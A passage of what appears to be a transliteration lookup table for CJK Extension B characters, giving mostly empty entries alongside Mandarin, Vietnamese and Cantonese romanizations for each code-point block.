'','','','','Bung ','','','','','','','','','','','',
'Muc ','','','','','','','Chui ','','','','','','','','',
'','','','Tay ','Khuong ','Giang ','','','','','','','','','Vot ','',
'','Khep ','','','','','','nan ','','','','','dun ','','','Xoi ',
'','','','Dau ','','','Chou ','','','','','','','','','',
'','Thuoc ','','','','','','','','','','','Xac ','','','',
'','','','','','bian ','','','','','','','','','','Quet ',
'','','','Giau ','Khuay ','','','Vom ','','Lan ','Dui ','Xoi ','','','','',
'','','','','','','','','','','ya ','','','','','bang ',
'','Luk ','','','','','','','','','','','','','sao ','',
'','','','','','','','','','Co ','Ron ','','Chut ','Co ','','',
'','','','','','','','','','','','','','','','Quay ',
'','','','','','lu ,jue','','','','xie ','Dik ','','zhai ','','Ngaau ','',
'Co ','','','Va ','Quat ','Ngoi ','Khep ','Quay ','Huo ','','','Sap ','Buoc ','Ven ','','',
'Va ','Roc ','Sua ','','','','Lay ','','','','','','','','yu ','',
'','Sau ','wan ','xue ','','','','','','ge ','','','','','mao ','',
],
'x22c':[
'','','','','','','fu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Wo ','','','','','Gap ','Zung ','pan ',
'','','','','jie ','','','','jia ','','','','jia ','','Boi ','',
'Gieo ','Waa ','','','','Dap6','','','','Cai ','Phung ','Xoi ','','Nhot ','','Sin ',
'','','Saak ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Kek ','','','','','','','',
'','','','','Bung ','','','','','','','','','Run ','','',
'','Laa ','','Rung ','Cau ','','','Gay ','','Cap ','Mai ','Mo ','','','','',
'','Cau ','Sang ','','','Cao ','','Sou ','Lou ','','','','die ','','','zhu ',
'','','Bat ','','','','Ngao ','','zu ','','','','','','','',
'','lang ','','','','','','','','','','','Saai ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x22d':[
'','','','','','','','Chap ','Daat ','','Chop ','Chong ','','','','',
'Day ','','Phanh ','','','Ning ','','','Xay ','','','','Xau ','','Nhung ','',
'','','fen ','','','','','','','','','','ban ','','','',
'','lei ','xie ,jie','','','','','','','','','','','','','',
'','','','','Cou ','','','yang ','','','','','Dui ','','','',
'','','','Paang ','','','','','','','','','','','','',
'','','','','','zao ','','Dan ','','Doi ','','','Don ','','','',
'','Khoi ','','Sum ','Quay ','','Don ','Cat ','Xap ','','','','Vot ','Ro ','','',
'','','','','','Sip ','','','','','','','','Saap ','','',
'','Niao ','guai ','','','','','','','','','','Ngung ','','','Cui ',
'Saau ','','','Die ','Loe ','','','','','','','','','','','Maan ',
'','','','','','','bang ','','Bum ','','Dom ','Bung ','Ngoi ','','','Don ',
'','Nem ','Xan ','','','Tro ','Chen ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','Ban ','','','','','','','','','','Dui ','',
'','','Hang ','','','Vo ','liu ','','','','du ','','','','','jie ',
],
'x22e':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','Lan ','','','',
'','','','Niao ','','cuan ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Choc ','Gai ','Mac ','Rung ','','Xe ','','','','','yu ',
'','Zaang6','','','','','','','','lan ','','','','','','',
'','','','Keo ','Xau ','','','','Tum ','Suong ','','','','','','',
'','','','xiao ','','','','','','','','','','Giam ','Que ','',
'','','','','','','','yao ','','ta ','','Naan ','','','','',
'','','Bung ','','Bau ','','','','','','','','','Uon ','','chan ',
'','','','','','','','','','','','','','','','',
'','','','Man ','yu ','','','','','Chia ','Chia ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','cheng ','','','','','','','','','hai ','','','',
'','','','','','','','','sa ','','','','','','jie ,fu','',
'','','','','','','','','','','','','','','','',
],
'x22f':[
'','','','','','','','','','','','','bao ','','','',
'','','','','','','','','','','','','','','','',
'','','','qia ','','','','','','','','jiao ','','','','',
'','','','','','','','','','','xue ','','','','','',
'','','','','','','','da ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','mao ','','','','','','','','','','','jiu ','','',
'','','','','Duk ','','','','','','','','Va ','','','',
'','wei ','','','yu ','du ','','','','','cheng ','','','','','',
'','','kuai ','','','','','','','','','','','','','',
'','','','','','','','','','','','','lu ','','','',
'','','','','','','','','','','','','','','','wen ',
'','','meng ','','','','','','','','','','','','','',
'','','','','','','','','','','','','man ','','','',
'','xie ','luan ','','','','cheng ','cheng ','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x230':[
'lei ','','','','qun ','','','','','','','','','chen ','','cheng ',
'','','Chong ','','','','','','','','','','','','','Va ',
'','','','fu ','','','','san ','','','','','','','','sa ',
'','','','','','','','','','','','','','','fu ','',
'','','','','','','','','','','','','','dao ','','',
'','','','','Lon ','','gan ','tan ','','','','','man ','','','',
'','','','','','','','','','','','','','','','',
'','','','','qia ','','','','','','','','','','','',
'','','','','','','','','','','yun ','','','','','',
'','','','','','','','','','','','','','xiang ','','',
'','','','','','','','','','','','','xiao ','','','',
'','','','dang ','','zhuan ','','','','','','','','','','',
'','','','','','','','','','dang ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','yan ','',
],
'x231':[
'','','','','','','','','','','','','','','fu ','',
'','','','','','','','','','Huang ','','','','yan ','','hu ',
'','','','','','','','','','','','','','','','',
'','','','','liang ','','','','','','wei ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Khuya ','Khuya ','','','','','','',
'','jue ','','','','','','','','','','','','','','',
'xiang ','','','','','Tam ','Luc ','','','','','','','','','',
'','','','','','','','','','','','','','','','Phoi ',
'Trua ','','xu ','','','xian ','','','','gan ','','','','','','',
'','','','','','','','hao ','','','','','','','Chang ','',
'Giay ','','','','','fu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Sao ',
'','','Bie ','','','','','','dai ','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x232':[
'','','','','','','','','','','mu ','','','die ','','',
'','','','Phoi ','','Mai ','','Ngay ','','','','Quat ','Ngay ','','Hong ','',
'bian ','','Tia ','','','tu ','','','','','','','','','','',
'Nau ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Ui ','Trua ','',
'','','','','','sang ','','ang ','nai ','','','','','','Gou ','',
'','','','','','','','','','ya ','','','','','','',
'','','','','','Rua ','','','','','','','','','','',
'','','','mao ','','','','','','','','Se ','','Mo ','Chop ','',
'','','','','meng ','','','','','','','','','sang ','xu ','kan ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Bay ','',
'Sao ','Toi ','','','','','','','','yu ','dan ','','','','','pu ',
'','','','','','','','','','','','','','','ai ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Som ','','',
],
'x233':[
'','Trua ','Trua ','','','','Trua ','','','Khuya ','','Som ','Rua ','','','de ',
'','','','','','','','','','','','','','Nang ','','',
'chun ','','','','','','','','xun ','','','','','','','',
'','','','','','','','','','','Xeo ','','','','','',
'Nguc ','','','','','','','ju ','','','','Cui ','','Oam ','','cha ',
'','','','','','','','','','','','yu ','','','','',
'','','','','','','kuang ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Luo ','','','','','','','','','',
'','','','','nian ','','','','','','hu ','','','','Trang ','',
'','','','','','','','','','','','','','','','',
'','','','','Dun ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','shu ','','','','','','','','pai ',
'','','','','','','','','','','','','','','','',
'','','','','Jan ','','','he ','','','','','','','Zai ','Then ',
],
'x234':[
'','','','','','Nhum ','Thot ','','','','','','','','','',
'','','','','','','','','','','','','','Xop ','','',
'','','','','','','','','','','','','','','','',
'','','Queo ','','','','','','','','han ','','','','','',
'','Cung ','hu ','','','','','','','','','','','','Roi ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','Gian ','','','Sim ','','','','Nen ','','','','fu ',
'','','dian ','','','','qiao ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Mang ','','','','','','','','','','','','',
'','Xoai ','Sao ','Cong ','','','','han ','kuang ','','','','','','','',
'','','','','','','','','','sha ,jie','','','Gou ','','','',
'','','shan ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Lau ',
],
'x235':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Cui ','Bap ',
'','Pha ','Xoi ','Ngoc ','','Chanh ','Nhai ','','Kang ','','','','','','','',
'','','','','','','','','','','mao ','','Gon ','','','',
'','','','yu ','','pao ','','','','','','','','','','',
'','','','','','','','','Hay ','','','','','','','',
'','','','','','','','','','','','','Noc ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','yun ','','','','','','','','','',
'','','','','','Peng ','Chay ','Chay ','','','Ca ','','','','','',
'Suot ','Trac ','','ju ','','','','','','','qu ','','jue ','','ang ','',
'','','','','','','','','','ru ','','','xun ','','','',
'','','','','','','','','','','','','','','','',
'reng ','','','Chua ','','','','','','','','','','','','',
'','','','','','','','','','','Cha ','','','','','',
'','','','','','','ta ','','','yang ','','','','','Son ','',
],
'x236':[
'','Ca ','','Cay ','Thot ','','','','Son ','Cum ','','','','','','',
'','','','','','','','Nik ','','bang ','Seot ','','','','','',
'','','','chun ','','','Yi ','','','','','','','','','',
'','','','','','','','','','','','','','Nau ','Vai ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','Rac ','','','','','','',
'','','juan ','','','','','','','','Mo ','Sop ','','','Chay ','Rui ',
'','','','','jie ','zhe ','hu ','','Sot ','Con ','Mam ','','','','','',
'','','','jie ','','','','pao ','','','','ye ','','','lei ','',
'ru ','','','juan ','','Jaap ','','','','','','','','','','',
'','','zhuan ','','','','jiang ','hao ','','','dun ','','','','','',
'','','','','','','','','','','Hong ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Xanh ',
'','Gu ','','Khay ','','Be ','','','','Then ','Tu ','hu ','','','','',
'','Dom ','','','','','','','ze ','','','die ','','zha ','','',
],
'x237':[
'','','sa ','','','','','','','','','Mo ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','juan ','','','','ai ','','','',
'Lim ','Son ','','','','','','','','','wen ','','','','Chua ','',
'','','hun ','','','ai ','','','','Duoi ','','ta ','','','','gao ',
'','yu ,yu','','','','','','hu ','','','','','10389.190,bian ','su ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Khu ','Cuoi ','','','dun ','','','','','','','Tram ','',
'','meng ','','lu ','tan ','','','liu ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'lian ','','','','','','','','','','','','','','','',
'','','','Mong ','','','','xiao ','','huai ','','','','','','',
'','liu ','wu ','','','','','','','','','','','','','',
'','','','','','','','','','Dui ','','','Ran ','','','',
'yu ','Kyo ','','','','','','','mei ','','lian ','','','lao ','','',
],
'x238':[
'','','','','','','','','','','','','','','','',
'','','Tham ','Pheo ','','Chua ','Chua ','Que ','Gau ','','liu ','','zhao ','','','',
'','','','','','','','','','Tram ','','','','','','',
'','Tram ','','','','','','','','','','','','Ha ','','',
'','','','','','','','','','yu ','','','','','cen ','',
'','','','Tram ','','yan ','','','','','','','','Vui ','','die ',
'','','','','Nen ','','','lei ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','xu ','','','','','',
'','','yu ','','','','qian ','','','','','','','','','',
'','','','','','dian ','','','','','','','','','','',
'zu ','','','','','','chu ','','','','','','','','','',
'','','','','','','','','dian ','','','','','','yu ','',
'','','','','','','','','','','an ','','','','hun ','',
'','','','dian ','','','','','','','','','','','sha ','',
'','','xie ','','da ','','','','','','sha ','','','','','',
],
'x239':[
'','zhu ','','','','','','','ze ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','shu ',
'','','','','','','','','','','','','','','','',
'','','ta ','wan ','','','','','','','wang ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','guan ','','','','','','','','','','',
'','','','tu ','','','','ta ','','chu ','','','zhu ','','da ','',
'','','','','','','','','','','','','','Ngay ','','',
'','','','','','','','','','','','','','','','',
'chu ','chu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Laai ','du ','','','','','die ','','','','','','','',
'','','','','','','','','','bai ','','dian ','','qiu ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','nao ','','',
],
'x23a':[
'luan ','','die ','','qia ','','','mao ','','','','','','','','',
'','','','wu ','tao ','','','','','','','zu ','ma ','','','',
'','','','jiang ','xu ','','','Giuoc ','','','','','','Quan ','','',
'','','du ','xiang ','','','','','','','','','','','','hun ',
'','','','','','','','','','','','','','','','lu ',
'','','','','guan ','','','','','','er ','','','','','',
'','','liao ','','','','Ngoeo ','shan ','','','','','','zhai ','','ye ',
'diao ','','','','jiang ','','','','Toi ','huai ','yu ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Ji ','','','','','','','','','','dian ','','','bian ','','',
'','','','','','','','','gu ','','','','','','','',
'','','','','','','','','hu ','','','','','','su ','',
'','','','','','','','','','','','','dao ','','','',
'','','','','','','','','','','','','','','','',
'','','','','xie ','','','Van ','','dai ','','','','','','',
],
'x23b':[
'','','guan ','','','','pei ','','','','','','','','jue ','juan ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','ba ','ba ','','','','','','wu ','','',
'bao ','','','Su ','','','','','','','','','','','','',
'','','','','','','','','fu ','','','','','ge ','','',
'ru ','','','','','','','','','','','','','','','Ria ',
'Mao ','','','qiu ,qu','','','','','','','','Mau ','','','','',
'','','','','','','','Ngu ','','','de ','','jie ','jie ','','',
'','','','','','','','','','','','','','','','',
'san ','','chun ','','','','nai ','','','','','','','','','',
'de ','','','','','','','','','','','','','','','',
'mao ','','','','','','','','','','','ru ','','','wu ','',
'','','','','','','','','','','ta ','','','','','',
'','','','','','','','','','men ','','','','','','',
'','pei ','','','','','','','qu ','','','','su ','','','',
],
'x23c':[
'','','','','','','','','','','','qu ','','','','',
'','','','','','sao ','','','kun ','','','','','','jie ','',
'qu ','qu ','','','','meng ','','','','','','','du ','','','',
'','','','','','','','','','','','qu ','','','','',
'','','kun ','','','','Ho ','','','','','','','dan ','','',
'','','','xiao ,hao','','','','','','','','','','','','',
'','','','','','','','','','','','','Hoi ','','','',
'Ram ','','','liu ','','','Vuc ','','','','','','','','','Nhop ',
'','','','','','','','','','','','','','Ngut ','','',
'','','','','','','','','','','','','','','','',
'Ngot ','','','','','','','','','','','','','','','',
'','','he ','','','','','Nap6','','','','','','','guai ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','fan ','','','jie ',
'','','','','zhan ','','','','Deoi ','','','','','piao ','','',
'','','','','','','','','','','','','Doe ','','','',
],
'x23d':[
'','','','','','','','','','','','','','','','',
'','','','jian ','','','','','','','Hup ','Nhung ','','','','',
'','','zao ','zhuang ','','','','','','','','','','','','',
'','','','','','','','','','','','','mao ','tan ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Bung ','',
'','','','','Ngam ','','','','zhu ','','','','gan ','','','',
'','','','','','','','','','','','','','zhuang ','','',
'pao ','','','','','','','','su ','','','','','ju ','','',
'','can ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Loi ','',
'Nhom ','','','','','','','','','','','','','','','',
],
'x23e':[
'','','','xu ','','','','bian ','','','','','','','huai ','',
'','','','','','','','','','','she ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','fu ','','','','',
'','','','','','Lut ','','Tran ','','','','','','qiao ,xiao','','Cong ',
'','','','','','qian ','','','','xie ','','','hu ','','','xun ',
'','','','','','na ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','tao ','',
'qiao ','','','','','','','','','','','','','','','',
'Nuot ','','','Bui ','','','','Xoi ','','Duoi ','','','','dang ,xiang','','',
'','','','','','Ma ','','','','','shu ','','fu ','','','',
'xie ','lang ','','','','','','','','zhe ','','','can ','','','',
'','','','','','','','','','','','','','','','',
],
'x23f':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','lu ',
'','','','','','','ze ','shuai ','','','Bot ','','','','','Vui ',
'Lung ','Ngau ','Doi ','Xop ','','','','Lot ','','','','','Tran ','Lang ','','',
'Ngau ','','','','','','Veo ','','','ru ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','an ','jian ','','53066.030,teng ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Doi ','','','','Khoi ','','','Xoi ','Bui ','',
'','','','Ngau ','','','fu ','','su ','','lian ','','he ','','','',
'ze ','','','','','','','','','','','','','','','',
'','','','xiao ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x240':[
'','','','','','','','','','han ','','','','','','',
'','','','Loc ','','','Ngoi ','Rua ','Vung ','','','','Tanh ','yu ','','',
'','','','','','','la ','','','jian ','','','','','','',
'','','bian ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Dao ','Khoi ','','','','Trong ','Bot ','','Chua ','','','','',
'Dao ','dan ','jie ','bai ','','','xian ','','','','','','','','','',
'','cai ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','zhuan ','','','','','Rua ','Dan ','Phun ','Loi ','Toe ','','',
'','','','','','','','','','','lan ','','yao ','','','xuan ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','Leo ','','Muong ','',
'','','','','','','','Thuot ','lan ','','','','','','','',
'','','','','','','Deng ','','','','xun ','','','','','',
],
'x241':[
'','','','','','','','','','','','','','','','',
'','fan ','','','','','','','','','','','','','','',
'','','','','','ta ','','pan ','','','','','','','','Trong ',
'Nhan ','','Can ','','','','','','','','','','','','','',
'','','','','','','','','','','yan ','','','','man ','',
'','','can ','','','','','','','','','','Veo ','','','',
'','','','men ','','','','','','','','','','','','',
'','','shuan ','','','','','','','','','','','','','',
'','cheng ','','','','','','','','','','','','Chi ','','',
'','','','','','','','','','','','','gua ','','xu ','',
'','','','Saap6','','','','','','','','','','','','',
'','','','','','','','','Tom ','','','','','','','',
'','','','','','','','','','','','','Kho ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','Say ','Phoi ','Tat ','','','','','Bep ','',
'','','Nhum ','','','','','','','','','','','','Ying ','',
],
'x242':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','Lui ','',
'Sot ','Ngut ','','','','','','he ','','','Cho ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','lao ','shao ','',
'','','','Tro ','','Tro ','Se ','Heo ','Ngun ','','','Toa ','Rang ','','','',
'','','','','','','','','fu ','','','kai ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Luoc ','','','','','','','','','','','','','',
'Roi ','','','Tro ','Nhem ','','','','','Rom ','','Phoi ','Phoi ','Lom ','','',
'Ben ','','','','','','la ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'zhu ','','','','','','Ranh ','Nau ','Khet ','Kho ','','Phoi ','Kho ','Choi ','Um ','',
],
'x243':[
'','','su ','','','','','','','','','','','Hok ','','',
'han ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','gan ','','','','','','',
'','','','Hay ','','','Ngot ','Nau ','','Ngun ','','','','','','',
'','Chong ','','shu ','','Jau ','','','','','','','zao ','','','',
'Jit6','','','','Zhang ','','','','','','','','','','','',
'','','','','','','Loa ','','','','','','','','','',
'','','','','','','','','','','','','','Quac ','','',
'','','Phap ','','','Tat ','','','','','','Ram ','','','','',
'','','','','','','','zhu ','','','','','','','','',
'','Zuan ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Nhoi ','','Ho ','Thui ','Khet ','Thap ','Se ','','Rao ','Buot ','','','','',
'','chu ','Zhou ','','','','','','','','','','','','','',
],
'x244':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Ham ','Nau ','','Soi ','','',
'Luoc ','','','','','','','','','kai ','','','','','','',
'','','cuan ','','','','','','','','','','','','','',
'','','','xian ','','','','','Chang ','','','','','Hung ','','',
'','','','','','Xun ','','','','','','','','','','',
'','','','','','','','','','','','Bung ','Loe ','','','Sem ',
'','','','','','','','ye ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Nung ','Nau ','','yao ','','Nhui ',
'','','Lom ','','','','Sem ','','','','','','','','','',
'','','','','Thap ','','','','','','','ta ','','','','',
'','','','','','','Ram ','','','','','','','','','',
'','','','Lo ','','','','','','','','','','','','',
'','','','','','','','','','Ben ','','','','','','',
'','','','','','','','','','','Vau ','','','','dao ','',
],
'x245':[
'','','','','','','','','','','','ju ','','','','',
'','','','','','','','','','','shang ','Su ','','','','',
'','','','bao ','','','','','','','','','','','','Vuot ',
'','','','','','','','Danh ','','','','','','','','',
'','','','','','','','','','','shen ','','','','','',
'','','','','Cha ','','','','','','','','','','zhu ','',
'','','','','','','','','','','','','','Jiang ','','Jiang ',
'','','','','','','','diao ','','','','','','','','',
'','','','','','','zhan ','','','','','','','','','',
'','','die ','ze ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','he ','','','','ju ','','','','Lop ','','','','xiang ','','',
'','cu ','','','','','Mui ','','Sip ','','','','','','','pei ',
'','','','cheng ','','','','','','','','lian ','','','','',
'','','','','','','','','die ','','shu ','','','','','',
'','','Tam ','','','pu ','','','','Phuon ','','chan ','','','','',
],
'x246':[
'dao ','','','','','','','','','','','Nga ','','','','',
'','','','Nanh ','hu ','','','','','','','chun ','','','','',
'tian ','','','chen ','','','','','','','','','','','','',
'','','zhuang ','','','hu ','','shu ','','','','','','','','',
'','','','','','bai ','','','','','','','','','','qu ',
'','','xie ','','zhao ','','','','','','','tu ','','','','',
'','','','','','','','','','','','','','','Ngau ','',
'','','','','Caau ','','','','','','','','','','','',
'','','','','','mu ','','Nghe ','','','die ','','','','yu ','',
'','','','','','','','','','','du ','','','','','',
'','du ','','','mei ','','Co ','Sao ','','','','','','','','xiu ',
'','','','','','bu ','','','','','','','','','','',
'','','','','','','','Chan ','','','','','','','','',
'','','','','','','','','','','','','','su ','Nghe ','',
'Trau ','','ceng ','ta ','','','jue ','xun ','','','','','','qun ','','',
'','','','','','','','','','','','','','','','',
],
'x247':[
'','','','','huai ','','','zhan ','','','','','','','','',
'','','','','ju ','ba ','lei ','','','','','','','','','',
'','','','','zhe ','','','','','','','','San ','Tu ','','Cop ',
'','','','','','21335.010,yan ','','hu ','','yu ','','','','','','',
'','','mu ','','','','','','','','','','','','','',
'hao ','Muop ','na ','','','','','','hu ','','','','','','Chuot ','',
'','','','','','','','bao ','','','','','','','lu ','',
'','','','','','','','','','Chu ','','','','','','',
'','','','','','','','','','shu ','','','','','','',
'','','','San ','Thac ','Tay ','','','','','','zang ','','','yu ','',
'cha ','xie ','','','','','Moi ','Khon ','','','','','','','','',
'qiu ','','hu ','zai ','jue ','','han ','','','','','Hum ','','','','an ',
'zao ','','','sha ','','xian ','','','','an ','','','','zhe ','jue ','',
'','','','','','','','','lu ','','','','','xia ','xiao ','',
'','','dun ','','','','','','','','tu ','','','','','',
'','','','','','','','','','','','','','','','',
],
'x248':[
'','','','','Ga ','Voi ','','ge ','','','','Trau ','','','','',
'ta ','Lau ','','','','','','','','','su ','','','','','ta ',
'','','','','','','','','','','fu ','','','','','',
'Gau ','','','','','','','','','','','','','cu ','','',
'','','','su ','','','','','','','','','','','','',
'','','','','','','','','','','','Nanh ','','','','huan ',
'','','','','','','','','','','','','','','Ran ','',
'','','','','','','xu ','','','','','','','','','',
'','huan ','su ','','','','','Vuot ','San ','','lu ','','','','','',
'','','','ju ,qu','Nhen ','Dou ','','','su ','','','','','','','ze ',
'','','','','','','','','','','Lie ','','','','','',
'','','','','','ai ','','','','','xie ','','','Nhat ','','',
'','','','','Beo ','','','','','','','','xiao ','','','',
'','xie ','','','','','','','','','','','','','','',
'','Doc ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x249':[
'','','','','','','','','','','da ','','','','','',
'su ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','wai ','','','','',
'Vua ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','su ','','','liu ','','','','','','','','',
'','','','','','','','','','','','','','Xa ','','',
'mao ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','Cung ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','yu ','Cong ','','','','','',
'','','','jian ','','','','','','wan ','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x24a':[
'','','','','','','','','','','','','','lu ','qu ','',
'','','','','','','hu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','zhuan ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','hao ','xiang ','','','hao ','','',
'','dian ,tian','ge ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','chan ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','qia ','jiao ','','','','','','','','Dua ',
],
'x24b':[
'Dua ','','','','','','','','Hau ','','','','','','','',
'','','','','','','','','','','','Lu ','','yan ','','',
'','','','','','','wa ','zu ','fan ','','','','','','','',
'','xu ','','','','','','na ','Sanh ','','','','','','','',
'','','','','','','','','diao ','','','','','fan ','','',
'','wu ','','','','','','','','','','','','','','fu ',
'na ','','','','','','','','','','','','','','','',
'','hu ','','','su ','','','','','','','','','xu ','','',
'','','','Ang ','','','','','','','','','','','lei ','heng ',
'','Be ','','','','','','Lo ','','','lei ','','shan ','','','',
'Muong ','','','','','','','lu ','Lung ','','jun ','','','Chan ','','xie ',
'','zhe ','','','','','','liu ','lei ','','','','dai ','','Ngot ','Ngot ',
'','','','','','','Ngon ','','','','','','','','','',
'','Lam ','','','','','','','','','','','','','','',
'','','','','','','','','Song ','Song ','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x24c':[
'','','','','','','','','','','','','','','','',
'','pu ','','','','','','','','','','','','','','hang ',
'','','','','','','zha ','','','','','','chao ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','na ','na ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','diao ','','','','','','',
'','','','','','','','xie ','','','','','','fu ','','',
'','','Duoi ','','','','','','','','','','Ruong ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','juan ','','','','','','','',
'mao ','','','','','','','','','','','','','','','',
'','','','','','cha ','Trai ','Trai ','','han ','','','','','','',
'','','','','','yu ','','','','','','','','','','',
'','','Trong ','','','','','','Roc ','','','','','','','zhu ',
'Ve ','Ruong ','','','lei ','','','','','','','','','Ruong ','','',
],
'x24d':[
'','','','','','','','','','','','','','die ','','',
'','','','','','','','','','','','','','','','',
'','','','','','Ngat ','','','','','','','','Bot ','','huan ',
'','du ','','','','','','','','','','','','','','',
'','','','','','','','','','','du ','','','','','',
'wu ','','wen ','','','','','','','','To ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Si ','','','qia ','','','','hai ','','',
'','','','','','','','','Tay ','','','','','','Chau ','',
'','Nhan ','Ben ','','','tun ','fu ','','','','','','zhuang ','','','',
'','','','','','','','','','','','','','','du ','',
'','chuan ','','','','','','','Naa ','Guoc ','','Nghen ','Mang ','Mut ','','',
'','','fei ','jian ','','','','Wak6','','','','','','','','',
'','jiu ','','','lun ','','','','dao ','de ','','','','','','la ',
'','','ju ','','','','','','','','Mang ','Cek ','','','','Loet ',
'','','','Nhom ','','','Buou ','','','wai ','','','','','','',
],
'x24e':[
'','','','','','','','','','','dai ','','','','','',
'','fu ','Ngung ','','','','','fu ','','','','','','','','',
'','','','','','','','Hoen ','','','','yun ','','','su ','',
'','','','','','bu ','','qun ','','','','Naa ','','','','',
'','','','','','','','','','','','jue ','','','','',
'Lit ','','','','','','Hen ','','Nhoc ','Choc ','','chen ','','','','',
'','','','hu ','teng ','','','','lian ','','','','','','','',
'','','','','','','','','','','','','Buou ','Not ','','Ngo ',
'','','','','','','','bian ','','','','','','','','',
'','','','Bie ','','','','','','','','','','','','',
'','','','','','','','Zang ','','','shan ','','','Buot ','Gua ','Mun ',
'Khom ','','','','Buou ','','','','','','','juan ','lu ','','ao ','',
'','','','','','','','','','','','','','','Cum ','',
'Hom ','','Toi ','','','','','','','','','','','','','',
'','','ai ','','','','','','','','','Nhoi ','','','','',
'','lu ','','','','','bian ','','','','','','','','','',
],
'x24f':[
'','meng ','','','','','','','','','','chan ','','','','',
'guan ,huan','','','','','','','jue ','lei ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','ju ','','','','','Dang ','','','','','','','',
'','','','','','huan ','','','','','','','','','','',
